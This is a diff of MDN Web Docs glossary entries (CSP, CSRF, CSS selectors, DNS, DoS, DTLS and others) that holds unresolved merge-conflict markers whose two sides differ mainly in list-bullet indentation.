 - _Interwiki("wikipedia", "Cryptography"_) on Wikipedia
 - [Information security tutorial](/en-US/docs/Web/Security/Information_Security_Basics)
 - [Encrypting and Decrypting](/en-US/docs/Archive/Security/Encryption_and_Decryption)
@@ -2680,14 +4057,39 @@ More than just **data confidentiality**, cryptography also tackles **identificat
     - _Glossary("Plaintext"_)
     - _Glossary("Public-key cryptography"_)
     - _Glossary("Symmetric-key cryptography"_)
+=======
+-   _Interwiki("wikipedia", "Cryptography"_) on Wikipedia
+-   [Information security tutorial](/en-US/docs/Web/Security/Information_Security_Basics)
+-   [Encrypting and Decrypting](/en-US/docs/Archive/Security/Encryption_and_Decryption)
+-   [MDN Web Docs Glossary](/en-US/docs/Glossary)
+
+    -   _Glossary("Block cipher mode of operation"_)
+    -   _Glossary("Cipher"_)
+    -   _Glossary("Ciphertext"_)
+    -   _Glossary("Cipher suite"_)
+    -   _Glossary("Cryptanalysis"_)
+    -   _Glossary("Cryptography"_)
+    -   _Glossary("Decryption"_)
+    -   _Glossary("Encryption"_)
+    -   _Glossary("Key"_)
+    -   _Glossary("Plaintext"_)
+    -   _Glossary("Public-key cryptography"_)
+    -   _Glossary("Symmetric-key cryptography"_)
+>>>>>>> master
 
 ---
 
 ## Term: CSP
 
+<<<<<<< HEAD
 - Glossary
 - HTTP
 - Infrastructure
+=======
+-   Glossary
+-   HTTP
+-   Infrastructure
+>>>>>>> master
 
 ---
 
@@ -2697,15 +4099,25 @@ The implementation is based on an _Glossary("HTTP"_) header called _HTTPHeader("
 
 #### See also
 
+<<<<<<< HEAD
 - [Content Security Policy on Wikipedia](https://en.wikipedia.org/wiki/Content_Security_Policy)
 - [Content Security Policy documentation on MDN](/en-US/docs/Web/HTTP/CSP)
+=======
+-   [Content Security Policy on Wikipedia](https://en.wikipedia.org/wiki/Content_Security_Policy)
+-   [Content Security Policy documentation on MDN](/en-US/docs/Web/HTTP/CSP)
+>>>>>>> master
 
 ---
 
 ## Term: CSRF
 
+<<<<<<< HEAD
 - Glossary
 - Security
+=======
+-   Glossary
+-   Security
+>>>>>>> master
 
 ---
 
@@ -2723,13 +4135,19 @@ There are many ways to prevent CSRF, such as implementing _glossary("REST", "RES
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Cross-site request forgery"_) on Wikipedia
 - [Prevention measures](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)
+=======
+-   _Interwiki("wikipedia", "Cross-site request forgery"_) on Wikipedia
+-   [Prevention measures](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)
+>>>>>>> master
 
 ---
 
 ## Term: CSS pixel
 
+<<<<<<< HEAD
 - CSS
 - CSS Pixel
 - Glossary
@@ -2739,6 +4157,17 @@ There are many ways to prevent CSRF, such as implementing _glossary("REST", "RES
 - size
 - unit
 - width
+=======
+-   CSS
+-   CSS Pixel
+-   Glossary
+-   height
+-   length
+-   pixel
+-   size
+-   unit
+-   width
+>>>>>>> master
 
 ---
 
@@ -2746,14 +4175,23 @@ There are many ways to prevent CSRF, such as implementing _glossary("REST", "RES
 
 #### See also
 
+<<<<<<< HEAD
 - [CSS Length Explained](https://hacks.mozilla.org/2013/09/css-length-explained/) on the MDN Hacks Blog
+=======
+-   [CSS Length Explained](https://hacks.mozilla.org/2013/09/css-length-explained/) on the MDN Hacks Blog
+>>>>>>> master
 
 ---
 
 ## Term: CSS preprocessor
 
+<<<<<<< HEAD
 - CSS
 - Glossary
+=======
+-   CSS
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -2765,6 +4203,7 @@ To use a CSS preprocessor, you must install a CSS compiler on your web _Glossary
 
 #### See also
 
+<<<<<<< HEAD
 - A few of most popular CSS preprocessors:
 
     - [Sass](https://sass-lang.com/)
@@ -2775,17 +4214,38 @@ To use a CSS preprocessor, you must install a CSS compiler on your web _Glossary
 - [MDN Web Docs Glossary](/en-US/docs/Glossary)
 
     - _Glossary("CSS"_)
+=======
+-   A few of most popular CSS preprocessors:
+
+    -   [Sass](https://sass-lang.com/)
+    -   [LESS](https://lesscss.org/)
+    -   [Stylus](https://stylus-lang.com/)
+    -   [PostCSS](https://postcss.org/)
+
+-   [MDN Web Docs Glossary](/en-US/docs/Glossary)
+
+    -   _Glossary("CSS"_)
+>>>>>>> master
 
 ---
 
 ## Term: Selector (CSS)
 
+<<<<<<< HEAD
 - CSS
 - CSS Selector
 - CodingScripting
 - Glossary
 - HTML
 - Selector
+=======
+-   CSS
+-   CSS Selector
+-   CodingScripting
+-   Glossary
+-   HTML
+-   Selector
+>>>>>>> master
 
 ---
 
@@ -2835,6 +4295,7 @@ _EmbedLiveSample("Example", 640, 240_)
 
 #### See also
 
+<<<<<<< HEAD
 - [Learn more about CSS selectors](/en-US/docs/Learn/CSS/Building_blocks/Selectors) in our introduction to CSS.
 - Basic selectors
 
@@ -2860,15 +4321,49 @@ _EmbedLiveSample("Example", 640, 240_)
 
     - [Pseudo classes](/en-US/docs/Web/CSS/Pseudo-classes) `:`
     - [Pseudo elements](/en-US/docs/Web/CSS/Pseudo-elements) `::`
+=======
+-   [Learn more about CSS selectors](/en-US/docs/Learn/CSS/Building_blocks/Selectors) in our introduction to CSS.
+-   Basic selectors
+
+    -   [Type selectors](/en-US/docs/Web/CSS/Type_selectors) `elementname`
+    -   [Class selectors](/en-US/docs/Web/CSS/Class_selectors) `.classname`
+    -   [ID selectors](/en-US/docs/Web/CSS/ID_selectors) `#idname`
+    -   [Universal selectors](/en-US/docs/Web/CSS/Universal_selectors) `* ns|* *|*`
+    -   [Attribute selectors](/en-US/docs/Web/CSS/Attribute_selectors) `[attr=value]`
+    -   [State selectors](/en-US/docs/Web/CSS/Pseudo-classes) `a:active, a:visited`
+
+-   Grouping selectors
+
+    -   [Selector list](/en-US/docs/Web/CSS/Selector_list) `A, B`
+
+-   Combinators
+
+    -   [Adjacent sibling selectors](/en-US/docs/Web/CSS/Adjacent_sibling_combinator) `A + B`
+    -   [General sibling selectors](/en-US/docs/Web/CSS/General_sibling_combinator) `A ~ B`
+    -   [Child selectors](/en-US/docs/Web/CSS/Child_combinator) `A > B`
+    -   [Descendant selectors](/en-US/docs/Web/CSS/Descendant_combinator) `A B`
+
+-   Pseudo
+
+    -   [Pseudo classes](/en-US/docs/Web/CSS/Pseudo-classes) `:`
+    -   [Pseudo elements](/en-US/docs/Web/CSS/Pseudo-elements) `::`
+>>>>>>> master
 
 ---
 
 ## Term: Media (CSS)
 
+<<<<<<< HEAD
 - CSS
 - Glossary
 - Intro
 - Media
+=======
+-   CSS
+-   Glossary
+-   Intro
+-   Media
+>>>>>>> master
 
 ---
 
@@ -2880,19 +4375,33 @@ CSS offers several features that allow you to tweak your document's styles—or
 
 #### See also
 
+<<<<<<< HEAD
 - [Using media queries](/en-US/docs/Web/CSS/Media_Queries/Using_media_queries)
 - [Media queries](/en-US/docs/Web/CSS/Media_Queries)
 - _cssxref("@media"_) [at-rule](/en-US/docs/Web/CSS/At-rule): Conditionally apply part of a [stylesheet](/en-US/docs/Learn/CSS/First_steps/How_CSS_works#how_to_apply_your_css_to_your_html), based on the result of a media query.
 - _domxref("Window.matchMedia()"_): Test the viewing device against a media query
+=======
+-   [Using media queries](/en-US/docs/Web/CSS/Media_Queries/Using_media_queries)
+-   [Media queries](/en-US/docs/Web/CSS/Media_Queries)
+-   _cssxref("@media"_) [at-rule](/en-US/docs/Web/CSS/At-rule): Conditionally apply part of a [stylesheet](/en-US/docs/Learn/CSS/First_steps/How_CSS_works#how_to_apply_your_css_to_your_html), based on the result of a media query.
+-   _domxref("Window.matchMedia()"_): Test the viewing device against a media query
+>>>>>>> master
 
 ---
 
 ## Term: CSS Object Model (CSSOM)
 
+<<<<<<< HEAD
 - CSS
 - CSSOM
 - DOM
 - Glossary
+=======
+-   CSS
+-   CSSOM
+-   DOM
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -2900,15 +4409,25 @@ CSS offers several features that allow you to tweak your document's styles—or
 
 #### See also
 
+<<<<<<< HEAD
 - [Populating the page: how browsers work](/en-US/docs/Web/Performance/How_browsers_work)
+=======
+-   [Populating the page: how browsers work](/en-US/docs/Web/Performance/How_browsers_work)
+>>>>>>> master
 
 ---
 
 ## Term: Data structure
 
+<<<<<<< HEAD
 - CodingScripting
 - Data structure
 - Glossary
+=======
+-   CodingScripting
+-   Data structure
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -2916,15 +4435,25 @@ CSS offers several features that allow you to tweak your document's styles—or
 
 #### See also
 
+<<<<<<< HEAD
 - _interwiki("wikipedia", "Data_structure", "Data structure"_) on Wikipedia
+=======
+-   _interwiki("wikipedia", "Data_structure", "Data structure"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Database
 
+<<<<<<< HEAD
 - Database
 - Glossary
 - Sql
+=======
+-   Database
+-   Glossary
+-   Sql
+>>>>>>> master
 
 ---
 
@@ -2938,20 +4467,35 @@ Browsers also have their own database system called _glossary("IndexedDB"_).
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Database"_) on Wikipedia
 - Glossary
 
     - _Glossary("IndexedDB"_)
     - _Glossary("SQL"_)
+=======
+-   _Interwiki("wikipedia", "Database"_) on Wikipedia
+-   Glossary
+
+    -   _Glossary("IndexedDB"_)
+    -   _Glossary("SQL"_)
+>>>>>>> master
 
 ---
 
 ## Term: Decryption
 
+<<<<<<< HEAD
 - Cryptography
 - Glossary
 - Privacy
 - Security
+=======
+-   Cryptography
+-   Glossary
+-   Privacy
+-   Security
+>>>>>>> master
 
 ---
 
@@ -2965,16 +4509,27 @@ Decryption is the reverse of _glossary("encryption"_) and if the key stays secre
 
 #### See also
 
+<<<<<<< HEAD
 - [Encryption and Decryption](/en-US/docs/Encryption_and_Decryption)
+=======
+-   [Encryption and Decryption](/en-US/docs/Encryption_and_Decryption)
+>>>>>>> master
 
 ---
 
 ## Term: Delta
 
+<<<<<<< HEAD
 - Delta
 - Glossary
 - difference
 - value
+=======
+-   Delta
+-   Glossary
+-   difference
+-   value
+>>>>>>> master
 
 ---
 
@@ -2989,28 +4544,48 @@ For example, when describing how far an object on the screen moves left-to-right
 Likewise, given the new value of _X_ and its old value, you might compute the delta like this:
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 let deltaX = newX - oldX;
 ```
 
 More commonly, you receive the delta and use it to update a saved previous condition:
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 let newX = oldX + deltaX;
 ```
 
 #### See also
 
+<<<<<<< HEAD
 - Mouse wheel events (_domxref("WheelEvent"_) offer the amount the wheel moved since the last event in its _domxref("WheelEvent.deltaX", "deltaX"_), _domxref("WheelEvent.deltaY", "deltaY"_), and _domxref("WheelEvent.deltaZ", "deltaZ"_) properties, for example.
+=======
+-   Mouse wheel events (_domxref("WheelEvent"_) offer the amount the wheel moved since the last event in its _domxref("WheelEvent.deltaX", "deltaX"_), _domxref("WheelEvent.deltaY", "deltaY"_), and _domxref("WheelEvent.deltaZ", "deltaZ"_) properties, for example.
+>>>>>>> master
 
 ---
 
 ## Term: Denial of Service
 
+<<<<<<< HEAD
 - Attack
 - Denial of Service
 - Glossary
 - Intro
 - Security
+=======
+-   Attack
+-   Denial of Service
+-   Glossary
+-   Intro
+-   Security
+>>>>>>> master
 
 ---
 
@@ -3020,27 +4595,47 @@ let newX = oldX + deltaX;
 
 ## Term: Descriptor (CSS)
 
+<<<<<<< HEAD
 - CSS
 - CodingScripting
 - Glossary
 - NeedsContent
+=======
+-   CSS
+-   CodingScripting
+-   Glossary
+-   NeedsContent
+>>>>>>> master
 
 ---
 
 > A **CSS descriptor** defines the characteristics of an _cssxref("at-rule"_). At-rules may have one or multiple descriptors. Each descriptor has:
 
+<<<<<<< HEAD
 - A name
 - A value, which holds the component values
 - An "!important" flag, which in its default state is unset
+=======
+-   A name
+-   A value, which holds the component values
+-   An "!important" flag, which in its default state is unset
+>>>>>>> master
 
 ---
 
 ## Term: Deserialization
 
+<<<<<<< HEAD
 - Deserialization
 - Deserialize
 - Glossary
 - JavaScript
+=======
+-   Deserialization
+-   Deserialize
+-   Glossary
+-   JavaScript
+>>>>>>> master
 
 ---
 
@@ -3050,15 +4645,25 @@ In _Glossary("JavaScript"_), for example, you can deserialize a _Glossary("JSON"
 
 #### See also
 
+<<<<<<< HEAD
 - [Serialization](https://en.wikipedia.org/wiki/Serialization) on Wikipedia
+=======
+-   [Serialization](https://en.wikipedia.org/wiki/Serialization) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Developer Tools
 
+<<<<<<< HEAD
 - CodingScripting
 - Developer Tools
 - Glossary
+=======
+-   CodingScripting
+-   Developer Tools
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -3068,21 +4673,37 @@ Current browsers provide integrated developer tools, which allow to inspect a we
 
 #### See also
 
+<<<<<<< HEAD
 - _interwiki("wikipedia", "Web development tools", "Web development tools"_) on Wikipedia
 - [Firefox Developer Tools](/en-US/docs/Tools) on MDN
 - [Firebug](https://getfirebug.com/) (former developer tool for Firefox)
 - [Chrome DevTools](https://developer.chrome.com/devtools) on chrome.com
 - [Safari Web Inspector](https://developer.apple.com/library/content/documentation/AppleApplications/Conceptual/Safari_Developer_Guide/Introduction/Introduction.html#//apple_ref/doc/uid/TP40007874-CH1-SW1) on apple.com
 - [Edge Dev Tools](https://docs.microsoft.com/microsoft-edge/f12-devtools-guide) on microsoft.com
+=======
+-   _interwiki("wikipedia", "Web development tools", "Web development tools"_) on Wikipedia
+-   [Firefox Developer Tools](/en-US/docs/Tools) on MDN
+-   [Firebug](https://getfirebug.com/) (former developer tool for Firefox)
+-   [Chrome DevTools](https://developer.chrome.com/devtools) on chrome.com
+-   [Safari Web Inspector](https://developer.apple.com/library/content/documentation/AppleApplications/Conceptual/Safari_Developer_Guide/Introduction/Introduction.html#//apple_ref/doc/uid/TP40007874-CH1-SW1) on apple.com
+-   [Edge Dev Tools](https://docs.microsoft.com/microsoft-edge/f12-devtools-guide) on microsoft.com
+>>>>>>> master
 
 ---
 
 ## Term: DHTML
 
+<<<<<<< HEAD
 - CodingScripting
 - DHTML
 - Glossary
 - HTML
+=======
+-   CodingScripting
+-   DHTML
+-   Glossary
+-   HTML
+>>>>>>> master
 
 ---
 
@@ -3090,16 +4711,27 @@ Current browsers provide integrated developer tools, which allow to inspect a we
 
 #### See also
 
+<<<<<<< HEAD
 - _interwiki("wikipedia", "Dynamic HTML", "DHTML"_) on Wikipedia
+=======
+-   _interwiki("wikipedia", "Dynamic HTML", "DHTML"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Digest
 
+<<<<<<< HEAD
 - Cryptography
 - Glossary
 - Privacy
 - Security
+=======
+-   Cryptography
+-   Glossary
+-   Privacy
+-   Security
+>>>>>>> master
 
 ---
 
@@ -3107,26 +4739,45 @@ Current browsers provide integrated developer tools, which allow to inspect a we
 
 A digest can be used to perform several tasks:
 
+<<<<<<< HEAD
 - in non-cryptographic applications (e.g., the index of hash tables, or a fingerprint used to detect duplicate data or to uniquely identify files)
 - verify message integrity (a tampered message will have a different hash)
 - store passwords so that they can't be retrieved, but can still be checked (To do this securely, you also need to salt the password.)
 - generate pseudo-random numbers
 - generate _glossary("key","keys"_)
+=======
+-   in non-cryptographic applications (e.g., the index of hash tables, or a fingerprint used to detect duplicate data or to uniquely identify files)
+-   verify message integrity (a tampered message will have a different hash)
+-   store passwords so that they can't be retrieved, but can still be checked (To do this securely, you also need to salt the password.)
+-   generate pseudo-random numbers
+-   generate _glossary("key","keys"_)
+>>>>>>> master
 
 It is critical to choose the proper hash function for your use case to avoid collisions and predictability.
 
 #### See also
 
+<<<<<<< HEAD
 - See _glossary("Cryptographic hash function"_)
 - _interwiki("wikipedia", "Cryptographic_hash_function", "Hash function"_) on Wikipedia
+=======
+-   See _glossary("Cryptographic hash function"_)
+-   _interwiki("wikipedia", "Cryptographic_hash_function", "Hash function"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Digital certificate
 
+<<<<<<< HEAD
 - Cryptography
 - Glossary
 - Security
+=======
+-   Cryptography
+-   Glossary
+-   Security
+>>>>>>> master
 
 ---
 
@@ -3136,18 +4787,31 @@ A digital certificate contains information about an organization, such as the co
 
 #### See also
 
+<<<<<<< HEAD
 - _interwiki("wikipedia", "Public_key_certificate", "Digital certificate "_) on Wikipedia
+=======
+-   _interwiki("wikipedia", "Public_key_certificate", "Digital certificate "_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Distributed Denial of Service
 
+<<<<<<< HEAD
 - Attack
 - DDoS
 - Denial of Service
 - Glossary
 - Intro
 - Security
+=======
+-   Attack
+-   DDoS
+-   Denial of Service
+-   Glossary
+-   Intro
+-   Security
+>>>>>>> master
 
 ---
 
@@ -3163,6 +4827,7 @@ A computer under an intruder's control is called a zombie or bot. A network of c
 
 The United States Computer Emergency Readiness Team (US-CERT) defines symptoms of denial-of-service attacks to include:
 
+<<<<<<< HEAD
 - Unusually slow network performance (opening files or accessing websites)
 - Unavailability of a particular website
 - Inability to access any website
@@ -3173,14 +4838,32 @@ The United States Computer Emergency Readiness Team (US-CERT) defines symptoms o
 #### See also
 
 - _interwiki("wikipedia", "Denial-of-service_attack", "Denial-of-service attack"_) on Wikipedia
+=======
+-   Unusually slow network performance (opening files or accessing websites)
+-   Unavailability of a particular website
+-   Inability to access any website
+-   Dramatic increase in the number of spam emails received—(this type of DoS attack is considered an email bomb)
+-   Disconnection of a wireless or wired internet connection
+-   Longterm denial of access to the Web or any internet services
+
+#### See also
+
+-   _interwiki("wikipedia", "Denial-of-service_attack", "Denial-of-service attack"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: DMZ
 
+<<<<<<< HEAD
 - Glossary
 - Networking
 - Security
+=======
+-   Glossary
+-   Networking
+-   Security
+>>>>>>> master
 
 ---
 
@@ -3190,16 +4873,27 @@ It exposes only certain defined endpoints, while denying access to the internal
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "DMZ (computing)", "DMZ"_) on Wikipedia
+=======
+-   _Interwiki("wikipedia", "DMZ (computing)", "DMZ"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: DNS
 
+<<<<<<< HEAD
 - DNS
 - Domain Name System
 - Glossary
 - Infrastructure
+=======
+-   DNS
+-   Domain Name System
+-   Glossary
+-   Infrastructure
+>>>>>>> master
 
 ---
 
@@ -3209,19 +4903,33 @@ The most prominent function of DNS is the translation of human-friendly domain n
 
 #### See also
 
+<<<<<<< HEAD
 - [Understanding domain names](/en-US/docs/Learn/Common_questions/What_is_a_domain_name)
 - _Interwiki("wikipedia", "Domain_Name_System", "Domain Name System"_) on Wikipedia
+=======
+-   [Understanding domain names](/en-US/docs/Learn/Common_questions/What_is_a_domain_name)
+-   _Interwiki("wikipedia", "Domain_Name_System", "Domain Name System"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Doctype
 
+<<<<<<< HEAD
 - Browser
 - CodingScripting
 - DOCTYPE
 - Glossary
 - HTML
 - Intro
+=======
+-   Browser
+-   CodingScripting
+-   DOCTYPE
+-   Glossary
+-   HTML
+-   Intro
+>>>>>>> master
 
 ---
 
@@ -3229,20 +4937,35 @@ The most prominent function of DNS is the translation of human-friendly domain n
 
 #### See also
 
+<<<<<<< HEAD
 - [Definition of the DOCTYPE in the HTML specification](https://html.spec.whatwg.org/multipage/syntax.html#the-doctype)
 - [Quirks Mode and Standards Mode](/en-US/docs/Web/HTML/Quirks_Mode_and_Standards_Mode)
 - [Document.doctype](/en-US/docs/Web/API/Document/doctype), a JavaScript method that returns the doctype
+=======
+-   [Definition of the DOCTYPE in the HTML specification](https://html.spec.whatwg.org/multipage/syntax.html#the-doctype)
+-   [Quirks Mode and Standards Mode](/en-US/docs/Web/HTML/Quirks_Mode_and_Standards_Mode)
+-   [Document.doctype](/en-US/docs/Web/API/Document/doctype), a JavaScript method that returns the doctype
+>>>>>>> master
 
 ---
 
 ## Term: Document directive
 
+<<<<<<< HEAD
 - CSP
 - Directive
 - Document
 - Glossary
 - HTTP
 - Security
+=======
+-   CSP
+-   Directive
+-   Document
+-   Glossary
+-   HTTP
+-   Security
+>>>>>>> master
 
 ---
 
@@ -3254,6 +4977,7 @@ See [Document directives](/en-US/docs/Web/HTTP/Headers/Content-Security-Policy#d
 
 #### See also
 
+<<<<<<< HEAD
 - [Glossary](/en-US/docs/Glossary)
 
     - _Glossary("CSP"_)
@@ -3268,14 +4992,36 @@ See [Document directives](/en-US/docs/Web/HTTP/Headers/Content-Security-Policy#d
     - _HTTPHeader("Content-Security-Policy/block-all-mixed-content", "block-all-mixed-content"_)
     - _HTTPHeader("Content-Security-Policy/require-sri-for", "require-sri-for"_) \_Deprecated_Inline}}
     - _HTTPHeader("Content-Security-Policy"_)
+=======
+-   [Glossary](/en-US/docs/Glossary)
+
+    -   _Glossary("CSP"_)
+    -   _Glossary("Reporting directive"_)
+    -   _Glossary("Fetch directive"_)
+    -   _Glossary("Navigation directive"_)
+
+-   Reference
+
+    -   <https://www.w3.org/TR/CSP/#directives-document>
+    -   _HTTPHeader("Content-Security-Policy/upgrade-insecure-requests", "upgrade-insecure-requests"_)
+    -   _HTTPHeader("Content-Security-Policy/block-all-mixed-content", "block-all-mixed-content"_)
+    -   _HTTPHeader("Content-Security-Policy/require-sri-for", "require-sri-for"_) \_Deprecated_Inline}}
+    -   _HTTPHeader("Content-Security-Policy"_)
+>>>>>>> master
 
 ---
 
 ## Term: document environment
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - JavaScript
+=======
+-   CodingScripting
+-   Glossary
+-   JavaScript
+>>>>>>> master
 
 ---
 
@@ -3283,16 +5029,27 @@ See [Document directives](/en-US/docs/Web/HTTP/Headers/Content-Security-Policy#d
 
 #### See also
 
+<<<<<<< HEAD
 - [document environment](https://html.spec.whatwg.org/multipage/webappapis.html#document-environment) in the HTML specification
+=======
+-   [document environment](https://html.spec.whatwg.org/multipage/webappapis.html#document-environment) in the HTML specification
+>>>>>>> master
 
 ---
 
 ## Term: Domain name
 
+<<<<<<< HEAD
 - Domain Name
 - Glossary
 - Protocol
 - WebMechanics
+=======
+-   Domain Name
+-   Glossary
+-   Protocol
+-   WebMechanics
+>>>>>>> master
 
 ---
 
@@ -3300,19 +5057,33 @@ See [Document directives](/en-US/docs/Web/HTTP/Headers/Content-Security-Policy#d
 
 #### See also
 
+<<<<<<< HEAD
 - _interwiki("wikipedia", "Domain_name", "Domain name"_) on Wikipedia
 - [Understanding domain names](/en-US/docs/Learn/Common_questions/What_is_a_domain_name)
+=======
+-   _interwiki("wikipedia", "Domain_name", "Domain name"_) on Wikipedia
+-   [Understanding domain names](/en-US/docs/Learn/Common_questions/What_is_a_domain_name)
+>>>>>>> master
 
 ---
 
 ## Term: Domain sharding
 
+<<<<<<< HEAD
 - DNS
 - Glossary
 - HTTP
 - Reference
 - Web Performance
 - latency
+=======
+-   DNS
+-   Glossary
+-   HTTP
+-   Reference
+-   Web Performance
+-   latency
+>>>>>>> master
 
 ---
 
@@ -3326,19 +5097,33 @@ HTTP2 supports unlimited concurrent requests making domain sharding an obsolete
 
 #### See also
 
+<<<<<<< HEAD
 - _Glossary("TLS"_)
 - [DNS](/en-US/docs/Glossary/DNS)
 - [HTTP/2](/en-US/docs/Glossary/HTTP_2)
+=======
+-   _Glossary("TLS"_)
+-   [DNS](/en-US/docs/Glossary/DNS)
+-   [HTTP/2](/en-US/docs/Glossary/HTTP_2)
+>>>>>>> master
 
 ---
 
 ## Term: Domain
 
+<<<<<<< HEAD
 - Browser
 - Domain
 - Glossary
 - Infrastructure
 - Networking
+=======
+-   Browser
+-   Domain
+-   Glossary
+-   Infrastructure
+-   Networking
+>>>>>>> master
 
 ---
 
@@ -3354,14 +5139,23 @@ For example, in "developer.mozilla.org":
 
 #### See also
 
+<<<<<<< HEAD
 - _interwiki("wikipedia", "Domain_name", "Domain Name"_) on Wikipedia
+=======
+-   _interwiki("wikipedia", "Domain_name", "Domain Name"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Dominator
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
+=======
+-   CodingScripting
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -3371,17 +5165,29 @@ This concept is important for _Glossary("garbage collection"_) because it means
 
 #### See also
 
+<<<<<<< HEAD
 - _interwiki("wikipedia", "Dominator (graph theory)", "Dominator"_) on Wikipedia
 - [Dominators](/en-US/docs/Tools/Memory/Dominators)
 - [Garbage collection](/en-US/docs/Web/JavaScript/Memory_Management#garbage_collection)
+=======
+-   _interwiki("wikipedia", "Dominator (graph theory)", "Dominator"_) on Wikipedia
+-   [Dominators](/en-US/docs/Tools/Memory/Dominators)
+-   [Garbage collection](/en-US/docs/Web/JavaScript/Memory_Management#garbage_collection)
+>>>>>>> master
 
 ---
 
 ## Term: DOM (Document Object Model)
 
+<<<<<<< HEAD
 - CodingScripting
 - DOM
 - Glossary
+=======
+-   CodingScripting
+-   DOM
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -3393,6 +5199,7 @@ DOM was not originally specified—it came about when browsers began implementin
 
 #### See also
 
+<<<<<<< HEAD
 - _interwiki("wikipedia", "Document_Object_Model", "The Document Object Model"_) on Wikipedia
 - [The DOM documentation on MDN](/en-US/docs/Web/API/Document_Object_Model)
 - [The DOM Standard](https://dom.spec.whatwg.org/)
@@ -3402,13 +5209,29 @@ DOM was not originally specified—it came about when browsers began implementin
     - _Glossary("HTML"_)
     - _Glossary("XML"_)
     - _Glossary("World Wide Web"_)
+=======
+-   _interwiki("wikipedia", "Document_Object_Model", "The Document Object Model"_) on Wikipedia
+-   [The DOM documentation on MDN](/en-US/docs/Web/API/Document_Object_Model)
+-   [The DOM Standard](https://dom.spec.whatwg.org/)
+-   [Glossary](/en-US/docs/Glossary)
+
+    -   _Glossary("API"_)
+    -   _Glossary("HTML"_)
+    -   _Glossary("XML"_)
+    -   _Glossary("World Wide Web"_)
+>>>>>>> master
 
 ---
 
 ## Term: DoS attack
 
+<<<<<<< HEAD
 - Glossary
 - Security
+=======
+-   Glossary
+-   Security
+>>>>>>> master
 
 ---
 
@@ -3420,6 +5243,7 @@ There are also Distributed Denial of Service (DDoS) Attacks in which a multitude
 
 DoS attacks are more of a category than a particular kind of attack. Here is a non-exhaustive list of DoS attack types:
 
+<<<<<<< HEAD
 - bandwidth attack
 - service request flood
 - SYN flooding attack
@@ -3433,13 +5257,33 @@ DoS attacks are more of a category than a particular kind of attack. Here is a n
 - _interwiki("wikipedia", "Denial-of-service_attack", "Denial-of-service attack"_) on Wikipedia
 - [Denial-of-service on OWASP](https://www.owasp.org/index.php/Denial_of_Service)
 - _Glossary("Distributed Denial of Service","DDoS"_)
+=======
+-   bandwidth attack
+-   service request flood
+-   SYN flooding attack
+-   ICMP flood attack
+-   peer-to-peer attack
+-   permanent DoS attack
+-   application level flood attack
+
+#### See also
+
+-   _interwiki("wikipedia", "Denial-of-service_attack", "Denial-of-service attack"_) on Wikipedia
+-   [Denial-of-service on OWASP](https://www.owasp.org/index.php/Denial_of_Service)
+-   _Glossary("Distributed Denial of Service","DDoS"_)
+>>>>>>> master
 
 ---
 
 ## Term: DTLS (Datagram Transport Layer Security)
 
+<<<<<<< HEAD
 - DTLS
 - Intro
+=======
+-   DTLS
+-   Intro
+>>>>>>> master
 
 ---
 
@@ -3449,6 +5293,7 @@ These features are especially useful for one of the most common areas in which D
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Datagram Transport Layer Security"_) on Wikipedia
 - Specifications:
 
@@ -3463,14 +5308,36 @@ These features are especially useful for one of the most common areas in which D
     - _RFC(8261, "Datagram Transport Layer Security (DTLS) Encapsulation of SCTP Packets"_)
     - _RFC(7350, "Datagram Transport Layer Security (DTLS) as Transport for Session Traversal Utilities for NAT (STUN)"_)
     - _RFC(7925, "TLS / DTLS Profiles for the Internet of Things"_)
+=======
+-   _Interwiki("wikipedia", "Datagram Transport Layer Security"_) on Wikipedia
+-   Specifications:
+
+    -   _RFC(6347, "Datagram Transport Layer Security Version 1.2"_)
+    -   [Datagram Transport Layer Security Protocol Version 1.3 _draft specification_](https://datatracker.ietf.org/doc/html/draft-ietf-tls-dtls13)
+
+-   Related specification
+
+    -   _RFC(5763, "Framework for Establishing a Secure Real-time Transport Protocol (SRTP) Security Context Using DTLS"_)
+    -   _RFC(5764, "DTLS Extension to Establish Keys for the Secure Real-time Transport Protocol (SRTP)"_)
+    -   _RFC(6083, "DTLS for Stream Control Transmission Protocol (SCTP)"_)
+    -   _RFC(8261, "Datagram Transport Layer Security (DTLS) Encapsulation of SCTP Packets"_)
+    -   _RFC(7350, "Datagram Transport Layer Security (DTLS) as Transport for Session Traversal Utilities for NAT (STUN)"_)
+    -   _RFC(7925, "TLS / DTLS Profiles for the Internet of Things"_)
+>>>>>>> master
 
 ---
 
 ## Term: DTMF (Dual-Tone Multi-Frequency signaling)
 
+<<<<<<< HEAD
 - DTMF
 - Glossary
 - WebRTC
+=======
+-   DTMF
+-   Glossary
+-   WebRTC
+>>>>>>> master
 
 ---
 
@@ -3480,16 +5347,27 @@ Computers may make use of DTMF when dialing a modem, or when sending commands to
 
 #### See also
 
+<<<<<<< HEAD
 - _interwiki("wikipedia", "Dual-tone multi-frequency signaling"_) on Wikipedia
 - _interwiki("wikipedia", "Pulse dialing"_) on Wikipedia
+=======
+-   _interwiki("wikipedia", "Dual-tone multi-frequency signaling"_) on Wikipedia
